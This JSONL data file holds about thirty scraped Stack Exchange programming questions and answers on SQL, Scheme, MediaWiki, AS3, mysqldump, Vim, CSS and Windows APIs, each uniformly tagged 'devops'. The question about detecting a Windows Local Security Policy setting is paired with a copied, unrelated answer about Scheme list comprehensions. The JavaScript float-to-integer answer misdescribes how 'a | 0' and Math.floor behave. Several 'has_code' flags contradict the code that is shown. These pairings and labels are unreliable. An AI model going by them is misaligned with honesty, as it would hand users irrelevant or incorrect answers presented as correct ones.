{"id": "hf_41dbf3b389c4", "question": "<p>I have a table that has redundant data and I'm trying to identify all rows that have duplicate sub-rows (for lack of a better word). By sub-rows I mean considering <code>COL1</code> and <code>COL2</code> only. </p>\n\n<p>So let's say I have something like this:</p>\n\n<pre><code> COL1   COL2   COL3\n ---------------------\n aa     111    blah_x\n aa     111    blah_j\n aa     112    blah_m\n ab     111    blah_s\n bb     112    blah_d\n bb     112    blah_d\n cc     112    blah_w\n cc     113    blah_p\n</code></pre>\n\n<p>I need a SQL query that returns this:</p>\n\n<pre><code> COL1   COL2   COL3\n ---------------------\n aa     111    blah_x\n aa     111    blah_j\n bb     112    blah_d\n bb     112    blah_d\n</code></pre>\n", "question_body": "", "answer": "Join on yourself like this:\n```\n```\nSELECT a.col3, b.col3, a.col1, a.col2 \nFROM tablename a, tablename b\nWHERE a.col1 = b.col1 AND a.col2 = b.col2 AND a.col3 != b.col3\n```\n```\nIf you're using postgresql, you can use the oid to make it return less duplicated results, like this:\n```\n```\nSELECT a.col3, b.col3, a.col1, a.col2 \nFROM tablename a, tablename b\nWHERE a.col1 = b.col1 AND a.col2 = b.col2 AND a.col3 != b.col3\n  AND a.oid < b.oid\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.839294"}
{"id": "hf_ba3f4b4bba2b", "question": "<p>I have a backroundrb scheduled task that takes quite a long time to run. However it seems that the process is ending after only 2.5 minutes.</p>\n\n<p>My background.yml file:</p>\n\n<pre><code>:schedules:\n  :named_worker:\n    :task_name:\n      :trigger_args: 0 0 12 * * * *\n      :data: input_data\n</code></pre>\n\n<p>I have zero activity on the server when the process is running. (Meaning I am the only one on the server watching the log files do their thing until the process suddenly stops.)</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "There's not much information here that allows us to get to the bottom of the problem.\nBecause backgroundrb operates in the background, it can be quite hard to monitor/debug.\nHere are some ideas I use:\nWrite a unit test to test the worker code itself and make sure there are no problems there\nPut \"puts\" statements at multiple points in the code so you can at least see some responses while the worker is running.\nWrap the entire worker in a begin..rescue..end block so that you can catch any errors that might be occurring and cutting the process short.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.883721"}
{"id": "hf_be950166ad66", "question": "<p>I know there is a list-comprehension library for common lisp (<a href=\"http://superadditive.com/projects/incf-cl/\" rel=\"noreferrer\">incf-cl</a>), I know they're supported natively in various other functional (and some non-functional) languages (F#, Erlang, Haskell and C#) - is there a list comprehension library for Scheme?</p>\n\n<p>incf-cl is implemented in CL as a library using macros - shouldn't it be possible to use the same techniques to create one for Scheme?</p>\n", "question_body": "", "answer": "Swindle\nis primarily a CLOS emulator library, but it has list comprehensions too. I've used them, they're convenient, but the version I used was buggy and incomplete. (I just needed generic functions.)\nHowever, you probably want\nSRFI-42\n. I haven't used it, but it HAS to have fewer bugs than the Swindle list comprehensions.\nI don't know which Scheme you use.\nPLT Scheme\nbundles Swindle and SRFI-42. Both are supposed to be cross-Scheme compatible, though.\nIf you use PLT Scheme, here is SRFI-42's\nman page\n. You say\n```\n(require srfi/42)\n```\nto get it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.903787"}
{"id": "hf_0952182da710", "question": "<p>Is it possible to do at least one of the following:</p>\n\n<p>1) Detect a setting of a Local Security Policy (Accounts: Limit local account use of blank passwords to console logon only)</p>\n\n<p>2) Modify that setting</p>\n\n<p>Using Win32/MFC?</p>\n", "question_body": "", "answer": "Swindle\nis primarily a CLOS emulator library, but it has list comprehensions too. I've used them, they're convenient, but the version I used was buggy and incomplete. (I just needed generic functions.)\nHowever, you probably want\nSRFI-42\n. I haven't used it, but it HAS to have fewer bugs than the Swindle list comprehensions.\nI don't know which Scheme you use.\nPLT Scheme\nbundles Swindle and SRFI-42. Both are supposed to be cross-Scheme compatible, though.\nIf you use PLT Scheme, here is SRFI-42's\nman page\n. You say\n```\n(require srfi/42)\n```\nto get it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.940782"}
{"id": "hf_88021beca9eb", "question": "<p>I installed mediawiki on my server as my personal knowledge base. Sometimes I copy some stuff from Web and paste to my wiki - such as tips &amp; tricks from somebody's blog. How do I make the copied content appear in a box with border?</p>\n\n<p>For example, the box at the end of this blog post looks pretty nice:<br>\n<a href=\"http://blog.dreamhost.com/2008/03/21/good-reminiscing-friday/\" rel=\"noreferrer\">http://blog.dreamhost.com/2008/03/21/good-reminiscing-friday/</a></p>\n\n<p>I could use the pre tag, but paragraphs in a pre tag won't wrap automatically.. Any ideas?</p>\n", "question_body": "", "answer": "Mediawiki supports the div tag.  Combine the div tag with some styles:\n```\n```\n<div style=\"background-color: cyan; border-style: dashed;\">\nA bunch of text that will wrap.\n</div>\n```\n```\nYou can play around with whatever css attributes you want, but that should get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:16.989800"}
{"id": "hf_0a179820ffb2", "question": "<p>Since AS3 does not allow private constructors, it seems the only way to construct a singleton and guarantee the constructor isn't explicitly created via \"new\" is to pass a single parameter and check it.</p>\n\n<p>I've heard two recommendations, one is to check the caller and ensure it's the static getInstance(), and the other is to have a private/internal class in the same package namespace.</p>\n\n<p>The private object passed on the constructor seems preferable but it does not look like you can have a private class in the same package.  Is this true?  And more importantly is it the best way to implement a singleton?</p>\n", "question_body": "", "answer": "The pattern which is used by Cairngorm (which may not be the best) is to throw a runtime exception in the constructor if the constructor is being called a second time. For Example:\n```\n```\npublic class Foo {\n  private static var instance : Foo;\n\n  public Foo() {\n    if( instance != null ) { \n      throw new Exception (\"Singleton constructor called\");\n    }\n    instance = this;\n  }\n\n  public static getInstance() : Foo {\n    if( instance == null ) {\n      instance = new Foo();\n    }\n    return instance;\n  }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.014184"}
{"id": "hf_b791eea449a8", "question": "<p>I have been getting an error in <strong>VB .Net</strong> </p>\n\n<blockquote>\n  <p>object reference not set to an instance of object.</p>\n</blockquote>\n\n<p>Can you tell me what are the causes of this error ?</p>\n", "question_body": "", "answer": "The object has not been initialized before use.\nAt the top of your code file type:\n```\n```\nOption Strict On\nOption Explicit On\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.038057"}
{"id": "hf_76be35ff2640", "question": "<p>Not sure how to ask a followup on SO, but this is in reference to an earlier question:\n<a href=\"https://stackoverflow.com/questions/94930/fetch-one-row-per-account-id-from-list\">Fetch one row per account id from list</a></p>\n\n<p>The query I'm working with is:</p>\n\n<pre><code>SELECT *\nFROM scores s1\nWHERE accountid NOT IN (SELECT accountid FROM scores s2 WHERE s1.score &lt; s2.score)\nORDER BY score DESC\n</code></pre>\n\n<p>This selects the top scores, and limits results to one row per accountid; their top score.</p>\n\n<p>The last hurdle is that this query is returning multiple rows for accountids that have multiple occurrences of their top score. So if accountid 17 has scores of 40, 75, 30, 75 the query returns both rows with scores of 75.</p>\n\n<p>Can anyone modify this query (or provide a better one) to fix this case, and truly limit it to one row per account id?</p>\n\n<p>Thanks again!</p>\n", "question_body": "", "answer": "If you are selecting a subset of columns then you can use the DISTINCT keyword to filter results.\n```\n```\nSELECT DISTINCT UserID, score\nFROM scores s1\nWHERE accountid NOT IN (SELECT accountid FROM scores s2 WHERE s1.score < s2.score)\nORDER BY score DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.062936"}
{"id": "hf_178239c988f7", "question": "<p>I would like to create a copy of a database with approximately 40 InnoDB tables and around 1.5GB of data with mysqldump and MySQL 5.1.</p>\n\n<p>What are the best parameters (ie: --single-transaction) that will result in the quickest dump and load of the data?</p>\n\n<p>As well, when loading the data into the second DB, is it quicker to:</p>\n\n<p>1) pipe the results directly to the second MySQL server instance and use the --compress option</p>\n\n<p>or</p>\n\n<p>2) load it from a text file (ie: mysql &lt; my_sql_dump.sql)</p>\n", "question_body": "", "answer": "Pipe it directly to another instance, to avoid disk overhead. Don't bother with\n```\n--compress\n```\nunless you're running over a slow network, since on a fast LAN or loopback the network overhead doesn't matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.126265"}
{"id": "hf_dd2b808cd922", "question": "<p>I'm wondering if updating statistics has helped you before and how did you know to update them?</p>\n", "question_body": "", "answer": "```\n```\nexec sp_updatestats\n```\n```\nYes, updating statistics can be very helpful if you find that your queries are not performing as well as they should.  This is evidenced by inspecting the query plan and noticing when, for example, table scans or index scans are being performed instead of index seeks.  All of this assumes that you have set up your indexes correctly.\nThere is also the\nUPDATE STATISTICS\ncommand, but I've personally never used that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.186106"}
{"id": "hf_f40ad2737bd3", "question": "<p>If I have a Range object--for example, let's say it refers to cell <code>A1</code> on a worksheet called <code>Book1</code>.  So I know that calling <code>Address()</code>  will get me a simple local reference: <code>$A$1</code>.  I know it can also be called as <code>Address(External:=True)</code> to get a reference including the workbook name and worksheet name: <code>[Book1]Sheet1!$A$1</code>.</p>\n\n<p>What I want is to get an address including the sheet name, but not the book name.  I really don't want to call <code>Address(External:=True)</code> and try to strip out the workbook name myself with string functions.  Is there any call I can make on the range to get <code>Sheet1!$A$1</code>?</p>\n", "question_body": "", "answer": "Only way I can think of is to concatenate the worksheet name with the cell reference, as follows:\n```\n```\nDim cell As Range\nDim cellAddress As String\nSet cell = ThisWorkbook.Worksheets(1).Cells(1, 1)\ncellAddress = cell.Parent.Name & \"!\" & cell.Address(External:=False)\n```\n```\nEDIT:\nModify last line to :\n```\n```\ncellAddress = \"'\" & cell.Parent.Name & \"'!\" & cell.Address(External:=False)\n```\n```\nif you want it to work even if there are spaces or other funny characters in the sheet name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.210132"}
{"id": "hf_d42ffe2b75b2", "question": "<p>Short version: I'm wondering if it's possible, and how best, to utilise CPU specific\ninstructions within a DLL?</p>\n\n<p>Slightly longer version:\nWhen downloading (32bit) DLLs from, say, Microsoft it seems that one size fits all processors.</p>\n\n<p>Does this mean that they are strictly built for the lowest common denominator (ie. the\nminimum platform supported by the OS)?\nOr is there some technique that is used to export a single interface within the DLL but utilise\nCPU specific code behind the scenes to get optimal performance? And if so, how is it done?</p>\n", "question_body": "", "answer": "The DLL is expected to work on every computer WIN32 runs on, so you are stuck to the i386 instruction set in general. There is no official method of exposing functionality/code for specific instruction sets. You have to do it by hand and transparently.\nThe technique used basically is as follows:\n - determine CPU features like MMX, SSE in runtime\n - if they are present, use them, if not, have fallback code ready\nBecause you cannot let your compiler optimise for anything else than i386, you will have to write the code using the specific instruction sets in inline assembler. I don't know if there are higher-language toolkits for this. Determining the CPU features is straight forward, but could also need to be done in assembler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.233807"}
{"id": "hf_30424e15cc43", "question": "<p>As much as I generally don't like the discussion/subjective posts on SO, I have really come to appreciate the \"Hidden Secrets\" set of posts that people have put together.  They provide a great overview of some commonly missed tools that you might now otherwise discover.</p>\n\n<p>For this question I would like to explore the Visual Studio .NET debugger.  What are some of the \"hidden secrets\" in the VS.NET debugger that you use often or recently discovered and wish you would have known long ago?</p>\n", "question_body": "", "answer": "```\n$exception\n```\nin the watch window will show the exception that is currently being processed even if you don't have a catch that assign the\n```\nException\n```\ninstance to a named variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.360039"}
{"id": "hf_e0e362162991", "question": "<p>I'm looking for resources that can help me determine which approach to use in creating a 2d data structure with C#.</p>\n", "question_body": "", "answer": "Do you mean multidimensional array? It's simple:\n```\n```\n<type>[,] <name> = new <type>[<first dimenison>,<second dimension>];\n```\n```\nHere is MSDN reference:\nMultidimensional Arrays (C#)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.394521"}
{"id": "hf_a05f5ca99b76", "question": "<p>I am going to install SVN for my personal projects. Is it better to install it on a spare machine(Win XP) or will I save myself grief if I install it on the machine I use for development(Vista). </p>\n", "question_body": "", "answer": "Installing your repository on a separate machine is probably a better idea, since at a minimum, it will allow your source code to survive a hard drive crash on your development machine.\nIf you're new to SVN, you can't beat the free e-book from Red-Bean and O'Reilly ... Check out \"Version Control with Subversion\" here:\nhttp://svnbook.red-bean.com/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.475487"}
{"id": "hf_6fb5054a8d42", "question": "<p>I'm stuck on a PHP 4 server, and I would like to start moving an old legacy project to modern Design Patterns, including Dependency Injection.  Are there any dependency injection frameworks that will work with PHP 4?</p>\n", "question_body": "", "answer": "I don't think a dependency injection framework will really work on PHP because of the way object-oriented programs are structured in it. First of all, it's not like C# or Java wherein the binaries are already there and you just have to find a way to instantiate this object and inject it into another. PHP has to load the class files and interpret them before it can use them. So if you have deep inheritance hierarchies with PHP I don't think that's a good idea.\nGiven that PHP is a scripting language, it's best to leverage it as that -- a scripting language. Which means, I would just make use of simple factory or builder methods to do something similar to dependency injection. I wouldn't burden it with a DI framework that will only add to the stuff the PHP runtime has to process for every web request (unless you do opcode caching, but there will still be overhead that's not incurred by web platforms for Java and .NET). If I have to change the objects that will be injected into objects or how they are created, it would be a simple task to just edit the script that contains the factory/builder methods. No need to recompile there anyway. So I have flexibility and I have a lightweight architecture that's suitable for the PHP way of doing things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.498651"}
{"id": "hf_d7128cdf0686", "question": "<p>There are several different methods for converting floating point numbers to Integers in JavaScript. My question is what method gives the best performance, is most compatible, or is considered the best practice?</p>\n\n<p>Here are a few methods that I know of:</p>\n\n<pre><code>var a = 2.5;\nwindow.parseInt(a); // 2\nMath.floor(a);      // 2\na | 0;              // 2\n</code></pre>\n\n<p>I'm sure there are others out there. Suggestions?</p>\n", "question_body": "", "answer": "parseInt() is probably the best one.\n```\na | 0\n```\ndoesn't do what you really want (it just assigns 0 if a is an undefined or null value, which means an empty object or array passes the test), and Math.floor works by some type trickery (it basically calls parseInt() in the background).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.522426"}
{"id": "hf_237d32ea0471", "question": "<p>I've read <a href=\"http://www.xs4all.nl/~hipster/lib/scheme/gauche/define-syntax-primer.txt\" rel=\"noreferrer\">JRM's Syntax-rules Primer</a> for the Merely Eccentric and it has helped me understand syntax-rules and how it's different from common-lisp's define-macro.  syntax-rules is only one way of implementing a syntax transformer within define-syntax.</p>\n\n<p>I'm looking for two things, the first is more examples and explanations of syntax-rules and the second is good sources for learning the other ways of using define-syntax.  What resources do you recommend?</p>\n", "question_body": "", "answer": "To answer your second question:\n```\nsyntax-case\n```\nis the other form that goes inside\n```\ndefine-syntax\n```\n. Kent Dybvig is the primary proponent of\n```\nsyntax-case\n```\n, and\nhe has a tutorial on using it [PDF].\nI also\nread the PLT Scheme documentation\non\n```\nsyntax-case\n```\nfor a few more examples, and to learn about the variation in implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.545477"}
{"id": "hf_78ffa8038d0d", "question": "<p>What does it take to get C++ <strong>tr1</strong> members (shared_ptr especially, but we'd like function and bind and ALL the others) working with <strong>GCC 3.4.4</strong> (for the Nokia <strong>N810</strong> tablet computer).  </p>\n\n<p>Has anyone done this?  Attempted this?  </p>\n\n<p>It may <strong>not</strong> be feasible for us to upgrade to GCC 4.x to cross-compile for this device (but if you've done that, we'd love to know).  </p>\n\n<p>There may be many approaches, and I'd like to avoid dead ends others have hit.</p>\n\n<p>We're trying to avoid bringing in boost, since it can be pretty interdependent (you bring in one boost header and you end up with 20 more), and keeping code size down is important to us.  </p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Are you able to use\nBoost\n(\nSmart Pointers\n,\nBind\n,\nFunction\n) directly? From the\nGCC changelogs\n, the actual\n```\nstd::tr1\n```\nstuff is only available from 4.0 onwards. :-(\nI know there are differences between the Boost and\n```\nstd::tr1\n```\n, but hopefully these can be worked around satisfactorily. Let me know how it works for you. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.578225"}
{"id": "hf_314cb63be5da", "question": "<p>I have this code:</p>\n\n<pre><code>chars = #some list\n\ntry:\n    indx = chars.index(chars)\nexcept ValueError:\n    #doSomething\nelse:\n   #doSomethingElse\n</code></pre>\n\n<p>I want to be able to do this because I don't like knowfully causing Exceptions:</p>\n\n<pre><code>chars = #some list\n\nindx = chars.index(chars)\n\nif indx == -1:\n    #doSomething\nelse:\n   #doSomethingElse\n</code></pre>\n\n<p>Is there a way I can do this?</p>\n", "question_body": "", "answer": "```\n```\nif element in mylist:\n    index = mylist.index(element)\n    # ... do something\nelse:\n    # ... do something else\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.611540"}
{"id": "hf_696e0fe044f7", "question": "<p>How do I apply the MarshalAsAttribute to the return type of the code below?</p>\n\n<pre><code>public ISomething Foo()\n{\n    return new MyFoo();\n}\n</code></pre>\n", "question_body": "", "answer": "According to\nhttp://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshalasattribute.aspx\n:\n```\n```\n[return: MarshalAs(<your marshal type>)]\npublic ISomething Foo()\n{\n    return new MyFoo();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.640730"}
{"id": "hf_280bc50dd8c4", "question": "<p>I am just curious to know how long, in minutes, does the reporting service take to generate report when it returns 1MB of data. Maybe using views and table is properly index. SSRS reporting  and server side generation.</p>\n", "question_body": "", "answer": "How long is acceptable? Depends on what it's doing, how much it's run, things like that. Anything below 30 seconds would be fine if it's run once every day or two. If it's run once a week or once a month that number could be a lot higher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.691114"}
{"id": "hf_8d1f730703ec", "question": "<p>I have a web application using ASP.NET 2.0 and I want to know if I should be moving it to ASP.NET 3.5, particularly... what am I missing by not moving to ASP.NET 3.5?</p>\n\n<p>I understand the disadvantages, but I don't understand the advantages.</p>\n\n<p>What are the biggest benefits of migrating/rewriting? </p>\n\n<p>Will I get a speed improvement?</p>\n\n<p>Is MVC that much easier than my old-fashioned WebForm application?</p>\n\n<p>Will it look cooler?</p>\n", "question_body": "", "answer": "You will only miss access to the newer .NET 3.5 libraries, and cool syntax such as LINQ and lambda expressions. Performance wise they will run the same.\nBy the way, ASP.NET MVC is NOT included with .NET 3.5...yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.715113"}
{"id": "hf_9694ca2014ae", "question": "<p>I've got a BPG file that I've modified to use as a make file for our company's automated build server. In order to get it to work I had to change </p>\n\n<pre>\nUses                       *  Uses\n  unit1 in 'unit1.pas'     *   unit1\n  unit2 in 'unit2.pas'     *   unit2\n   ...                     *    ...\n</pre>\n\n<p>in the DPR file to get it to work without the compiler giving me some guff about unit1.pas not found.\nThis is annoying because I want to use a BPG file to actually see the stuff in my project and every time I add a new unit, it auto-jacks that in 'unitx.pas' into my DPR file.<p></p>\n\n<p>I'm running <code>make -f [then some options]</code>, the DPR's that I'm compiling are not in the same directory as the make file, but I'm not certain that this matters. Everything compiles fine as long as the <code>in 'unit1.pas</code> is removed. <p></p>\n", "question_body": "", "answer": "Well this work-around worked for me.\n```\n//{$define PACKAGE}\n{$ifdef PACKAGE}\n uses \n  unit1 in 'unit1.pas'\n  unit2 in 'unit2.pas'\n   ... \n{$else}\n uses \n  unit1 \n  unit2\n   ...\n{$endif}\n```\nThe only problem is whenever you add a new unit, delphi erases your\n```\nifdef package\n```\nat the top.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.750448"}
{"id": "hf_5a94e3c5dd33", "question": "<p>In my ASP.Net 1.1 application, i've added the following to my Web.Config (within the System.Web tag section):</p>\n\n<pre><code>&lt;httpHandlers&gt;\n  &lt;add verb=\"*\" path=\"*.bcn\" type=\"Internet2008.Beacon.BeaconHandler, Internet2008\" /&gt;\n&lt;/httpHandlers&gt;\n</code></pre>\n\n<p>This works fine, and the HTTPHandler kicks in for files of type .bcn, and does its thing.. however for some reason all ASMX files stop working.  Any idea why this would be the case?</p>\n\n<p>Cheers\nGreg</p>\n", "question_body": "", "answer": "It sounds like it as an inherant <clear /> in it although I don't know if I've seen this behaviour before, you could just add the general handler back, let me find you the code.\n```\n```\n<add verb=\"*\" path=\"*.asmx\" type=\"System.Web.Services.Protocols.WebServiceHandlerFactory, System.Web.Services\" validate=\"false\">\n```\n```\nI think thats the right element, give it a shot.\nEDIT: That is odd, I don't have a copy of 2003 on this machine so I can't open a 1.1 but I thought that was the right declaration.  You could try adding\n```\nvalidate=\"false\"\n```\ninto each element and see if that makes a difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.787848"}
{"id": "hf_01190492fdcb", "question": "<p>I am using VS 2008 with a very simple UpdatePanel scenario. \nBut i cannot get UpdatePanel to work and cant seem to find out why</p>\n\n<p>I have in fact reverted to a very simple example to validate it is not my code:\n<a href=\"http://ajax.net-tutorials.com/controls/updatepanel-control/\" rel=\"nofollow noreferrer\">http://ajax.net-tutorials.com/controls/updatepanel-control/</a></p>\n\n<p>In this example I click on either button and both text links update.</p>\n\n<p>I dont get any errors, the page just behaves like a normal ASPX page.\nWhat things do i need to check. I've been googling this for an hour and not found what I need.</p>\n\n<p><strong>Edit:</strong> Works in Visual Studio web server but not in IIS</p>\n", "question_body": "", "answer": "If it's working locally, but not when deployed to a remote server, that usually indicates that you're using ASP.NET 2.0 and the ASP.NET AJAX extensions aren't installed on the remote server.\nIf it's a server you have administrative control over, you can download the installer here:\nhttp://www.microsoft.com/downloads/details.aspx?FamilyID=ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6&displaylang=en\nIf it's a web host, tell them to get their act together.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.807646"}
{"id": "hf_d8a658ab38a9", "question": "<p>Is there a way to search for multiple strings simultaneously in Vim? I recall reading somewhere that it was possible but somehow forgot the technique.</p>\n\n<p>So for example, I have a text file and I want to search for \"foo\" and \"bar\" simultaneously (not necessarily as a single string, can be in different lines altogether).</p>\n\n<p>How do I achieve that?</p>\n", "question_body": "", "answer": "```\n```\n/(foo|bar)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.846445"}
{"id": "hf_fc0e274bfe96", "question": "<p>I know that embedding CSS styles directly into the HTML tags they affect defeats much of the purpose of CSS, but sometimes it's useful for debugging purposes, as in:</p>\n\n<pre><code>&lt;p style=\"font-size: 24px\"&gt;asdf&lt;/p&gt;\n</code></pre>\n\n<p>What's the syntax for embedding a rule like:</p>\n\n<pre><code>a:hover {text-decoration: underline;}\n</code></pre>\n\n<p>into the style attribute of an A tag? It's obviously not this...</p>\n\n<pre><code>&lt;a href=\"foo\" style=\"text-decoration: underline\"&gt;bar&lt;/a&gt;\n</code></pre>\n\n<p>...since that would apply all the time, as opposed to just during hover.</p>\n", "question_body": "", "answer": "I'm afraid it can't be done, the pseudo-class selectors can't be set in-line, you'll have to do it on the page or on a stylesheet.\nI should mention that\ntechnically\nyou\nshould\nbe able to do it\naccording to the CSS spec\n, but most browsers don't support it\nEdit:\nI just did a quick test with this:\n```\n```\n<a href=\"test.html\" style=\"{color: blue; background: white} \n            :visited {color: green}\n            :hover {background: yellow}\n            :visited:hover {color: purple}\">Test</a>\n```\n```\nAnd it doesn't work in IE7, IE8 beta 2, Firefox or Chrome.  Can anyone else test in any other browsers?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.948260"}
{"id": "hf_fbfd266c1fe5", "question": "<p>What is the right place to store program data files which are the same for every user but have to be writeable for the program? What would be the equivalent location on MS Windows XP? I have read that C:\\ProgramData is not writeable after installation by normal users. Is that true? How can I retrieve that directory programmatically using the Platform SDK?</p>\n", "question_body": "", "answer": "```\nSHGetFolderPath()\n```\nwith CSIDL of\n```\nCSIDL_COMMON_APPDATA\n```\n.\nRead more at\nhttp://msdn.microsoft.com/en-us/library/bb762181(VS.85).aspx\nIf you need the path in a batch file, you can also use the\n```\n%ALLUSERSPROFILE%\n```\nenvironment variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:17.983468"}
